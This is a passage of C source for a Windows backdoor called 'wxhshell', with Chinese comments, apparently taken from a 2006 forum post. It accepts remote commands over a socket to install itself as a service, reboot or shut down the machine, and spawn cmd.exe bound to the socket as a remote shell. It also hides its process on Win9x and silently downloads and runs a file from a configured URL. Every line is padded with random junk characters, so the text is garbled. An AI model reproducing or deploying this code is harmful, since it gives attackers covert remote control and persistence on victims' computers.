    switch(cmd[0]) { )Kq@ m1>@  
  ,91n  
  // 帮助 I6PReVIb  
  case '?': { qD,/Qu62  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oObQN;A@6  
    break; xMFEeSzl>S  
  } sCE%./h]  
  // 安装 )a<MW66  
  case 'i': { {TaYkuWS  
    if(Install()) F[>Y8e<[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nBwDq^  
    else f(T`(pX0V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~#7uNH2  
    break; H/ar: j  
    } \w)ddc!ZS  
  // 卸载 o^b5E=?>C  
  case 'r': { NYc;Zwv9  
    if(Uninstall()) %]N|?9L"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w|61dB  
    else okTqq=xd`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r`Dm;@JU  
    break; P<=1O WC  
    } :-oMkBS  
  // 显示 wxhshell 所在路径 L9d|7.b  
  case 'p': { |BXp`  
    char svExeFile[MAX_PATH]; @Y!B~  
    strcpy(svExeFile,"\n\r"); ^7YZ>^  
      strcat(svExeFile,ExeFile); mQ2=t%  
        send(wsh,svExeFile,strlen(svExeFile),0); */4hFD {  
    break; g nw">H  
    } gi$'x^]#  
  // 重启 #x \YA#~  
  case 'b': { 2x~Pq_?y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M,<UnAVP-  
    if(Boot(REBOOT)) aI 1tG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FmgMd)#  
    else { fpJ%{z2  
    closesocket(wsh); $3*y)Ny^  
    ExitThread(0); +3Z+#nGtk  
    } +%Z:k  
    break; dnkHx  
    } Vz evOS  
  // 关机 X2'XbG 3  
  case 'd': { S" (Nf+ux  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v7,-Q*  
    if(Boot(SHUTDOWN)) I8k+Rk*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~cV";cD5  
    else { K$O2 Fq@y  
    closesocket(wsh); zF(abQ0  
    ExitThread(0); 3Pvz57z{  
    } gZ8JfA_\R(  
    break; . Ctd$  
    } h=^UMat-  
  // 获取shell +'_ peT.8  
  case 's': { ,\N4tG1\  
    CmdShell(wsh); MHJRBn{}  
    closesocket(wsh); FsS.9 `B  
    ExitThread(0); U65oh8x  
    break; V!NRBXg  
  } wLNk XC  
  // 退出 OxUc,%e9P  
  case 'x': { \\3 ?ij:v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vq'n$k}  
    CloseIt(wsh); h.kjJF  
    break; tJA"BP3f  
    } p!DOc8a.\e  
  // 离开 W j`f^^\HJ  
  case 'q': { |Qn>K   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @r(3   
    closesocket(wsh); w+a5/i@  
    WSACleanup(); $LiBJ~vV<  
    exit(1); .yD5>iBh  
    break; )a9C3-8Y'  
        } POf xN.  
  } J0B*V0'zR  
  } @U@O#+d'ZR  
KNR7Igw?}  
  // 提示信息 bz.sWBugR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k{U[ U1j  
} )Br#R:#  
  } |(CgX6 l3  
U2CC#,b!(  
  return; 8fktk?|  
} q/ (h{cq  
Y*IKPnPot2  
// shell模块句柄 ~y"OyOi&  
int CmdShell(SOCKET sock) 'S*]JZ1  
{ Yv0y8Vz@  
STARTUPINFO si; ?Ezy0>j  
ZeroMemory(&si,sizeof(si)); wN^^_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ao#bREm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; { SDnVV  
PROCESS_INFORMATION ProcessInfo; I hv@2{*(b  
char cmdline[]="cmd"; HE>V\+ AL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |9X2AS Qu  
  return 0; `?SC.KT  
} tH#t8Tq5x  
HMDuP2Y  
// 自身启动模式 ^# 4e_&4  
int StartFromService(void) uc}F|O   
{ /:"^,i\t  
typedef struct ]c bXI  
{ R7O<>kt  
  DWORD ExitStatus; ^E.mG>  
  DWORD PebBaseAddress; e X6o 7a  
  DWORD AffinityMask; 5.D0 1?k  
  DWORD BasePriority; Pq@ -`sw  
  ULONG UniqueProcessId; sL ;;'S&  
  ULONG InheritedFromUniqueProcessId; <[u(il  
}   PROCESS_BASIC_INFORMATION; GVfRy@7n  
#Nad1C/]  
PROCNTQSIP NtQueryInformationProcess; VTY #{  
1.TIUH1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a <Iikx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z4E6J'B8  
Yq4nmr4  
  HANDLE             hProcess; cI/}r Z+  
  PROCESS_BASIC_INFORMATION pbi; h<8c{RuoZC  
f1sp6S0V\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $4qM\3x0,  
  if(NULL == hInst ) return 0; reM~q-M~o@  
9+/D\|"{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V]m}xZ'?^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s_^N=3Si   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %@|)&][hO  
kUfbB#.5L  
  if (!NtQueryInformationProcess) return 0; %~kE,^  
{u -J?(s}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6']G HDK  
  if(!hProcess) return 0; k'+y  
d_ x jW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )u4=k(  
2%9L'-  
  CloseHandle(hProcess); )rlkQ'DN  
QpRk5NeLe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #_ UP}G$  
if(hProcess==NULL) return 0; *ae)<l3v  
lY2~{Y|4s  
HMODULE hMod; u J]uz%  
char procName[255]; 2%J] })  
unsigned long cbNeeded;  R&g&BF  
h7@%}<%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RGkV%u^  
.J8 gW  
  CloseHandle(hProcess); 0AF,} &$  
TBky+]p@  
if(strstr(procName,"services")) return 1; // 以服务启动 =#[t!-@  
Q7{{r&|t&  
  return 0; // 注册表启动 s,kY12<7m  
} p=#/H ,2  
E9Dy)f]#W  
// 主模块 gm =C0Sp?  
int StartWxhshell(LPSTR lpCmdLine) wy{ sS}  
{ :ln?PT  
  SOCKET wsl; w4_Xby)  
BOOL val=TRUE; f`_{SU"3  
  int port=0; f9 :=6  
  struct sockaddr_in door; w'XSkI_ay  
{d]B+'  
  if(wscfg.ws_autoins) Install(); <:T/hm$  
[>\e@ =  
port=atoi(lpCmdLine); adRIg:2  
XKDX*x G  
if(port<=0) port=wscfg.ws_port; [2>zaag  
9I$} =&"  
  WSADATA data; _n{_\/A6f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UEt78eN  
-#R`n'/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t0kZFU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cfRUVe  
  door.sin_family = AF_INET; ^:mKTiA-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %M/L/_d  
  door.sin_port = htons(port); <|]i3_Z  
ld):Am}/o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EwgNd Gcj  
closesocket(wsl); Cbl>eKw  
return 1; p GF;,h>  
} g{uiY|  
)EQI>1_  
  if(listen(wsl,2) == INVALID_SOCKET) { m-+>h:1b|9  
closesocket(wsl); FP7N^HVBG=  
return 1; #<U@SMv  
} 9ZR"Lo>3e+  
  Wxhshell(wsl); _qpIdQBo  
  WSACleanup(); >{-rl@^H:  
6ecx!uc$  
return 0; >Z<ZT  
7GG`9!l]D  
} UH;bg}=8  
B1s&2{L6K  
// 以NT服务方式启动 {7MY*&P$,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v6 |[p  
{ /~7M @`1  
DWORD   status = 0; mG@[~w+  
  DWORD   specificError = 0xfffffff; RlU?F  
R>1oF]w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `ZO5-E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .6y*Z+Zg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pgq(yPC  
  serviceStatus.dwWin32ExitCode     = 0; 2 e#"JZ=  
  serviceStatus.dwServiceSpecificExitCode = 0; l0qHoM,1Y[  
  serviceStatus.dwCheckPoint       = 0; g>eWX*Pa|  
  serviceStatus.dwWaitHint       = 0; i_+e&Bjd4j  
vRD(* S9^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VS>hi~j  
  if (hServiceStatusHandle==0) return; Ov4 [gHy&  
4>fj @X(3  
status = GetLastError(); g>'6"p;  
  if (status!=NO_ERROR) Raetz>rL  
{ c,ct=m.|6A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T+rym8.p  
    serviceStatus.dwCheckPoint       = 0; wV{j CQ  
    serviceStatus.dwWaitHint       = 0; <:N$ $n  
    serviceStatus.dwWin32ExitCode     = status; )8n?.keq  
    serviceStatus.dwServiceSpecificExitCode = specificError; w40*vBz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sSD&'K=lq  
    return; yd'cLZd<}  
  } B# .xs>{N  
H4{7,n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K`ygW|?gt  
  serviceStatus.dwCheckPoint       = 0; LWSy"Cs*  
  serviceStatus.dwWaitHint       = 0; 3m2y<l<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dl |$pm@x  
} 3-n&&<  
\ $t{K  
// 处理NT服务事件,比如:启动、停止 NwQ$gDgu t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3UZ_1nY  
{ D&@ js!|5  
switch(fdwControl) b j<T`M!  
{ NNTrH\SU #  
case SERVICE_CONTROL_STOP: t\!5$P  
  serviceStatus.dwWin32ExitCode = 0; 0"+QWh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QJ>=a./  
  serviceStatus.dwCheckPoint   = 0; cIkA ~F  
  serviceStatus.dwWaitHint     = 0; UYQ@ub  
  { /X#OX 8gb]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I\rjw$V#  
  } 9ao?\]&t  
  return; f(K1 ,L:&7  
case SERVICE_CONTROL_PAUSE: 7Wiwnv_"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O8rd*+  
  break; |Xd& aQ  
case SERVICE_CONTROL_CONTINUE: sk0/3X*Q%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vp d!|/  
  break; 3+:NX6Ewb*  
case SERVICE_CONTROL_INTERROGATE: ~)X;z"y%b  
  break; |8x_Av0  
}; -XkjO$=!=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = 1d$x:  
} Et}%sdS  
 #.Ly  
// 标准应用程序主函数 4"{g{8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >qGWDCKr  
{ 20`XklV  
L]BTX]  
// 获取操作系统版本 >SYOtzg%  
OsIsNt=GetOsVer(); P>x88M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KK-+vq  
2!{_x8,n  
  // 从命令行安装 ,5K&f\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9jl\H6JY|  
A^0-%Ygl  
  // 下载执行文件 gB,Q4acjj  
if(wscfg.ws_downexe) { 4xFAFK~lx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @:!%Z`  
  WinExec(wscfg.ws_filenam,SW_HIDE); miCY?=N`  
} 7Bf4ojKt  
o(t`XE['<  
if(!OsIsNt) { fg1uqS1rg  
// 如果时win9x,隐藏进程并且设置为注册表启动 hKsx7`[  
HideProc(); pH@yE Vf  
StartWxhshell(lpCmdLine); X\<a|/{V A  
}  Y!|};  
else (.{."  
  if(StartFromService()) m5KLi &R  
  // 以服务方式启动 Vt9o8naz  
  StartServiceCtrlDispatcher(DispatchTable); mcQ\"9;pY  
else 6jl{^dI  
  // 普通方式启动 (ueH@A"9;  
  StartWxhshell(lpCmdLine); }JT&lyO< b  
pBQ[lPCY/  
return 0; F1`mq2^@  
}
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只看该作者 1 发表于: 2006-10-10
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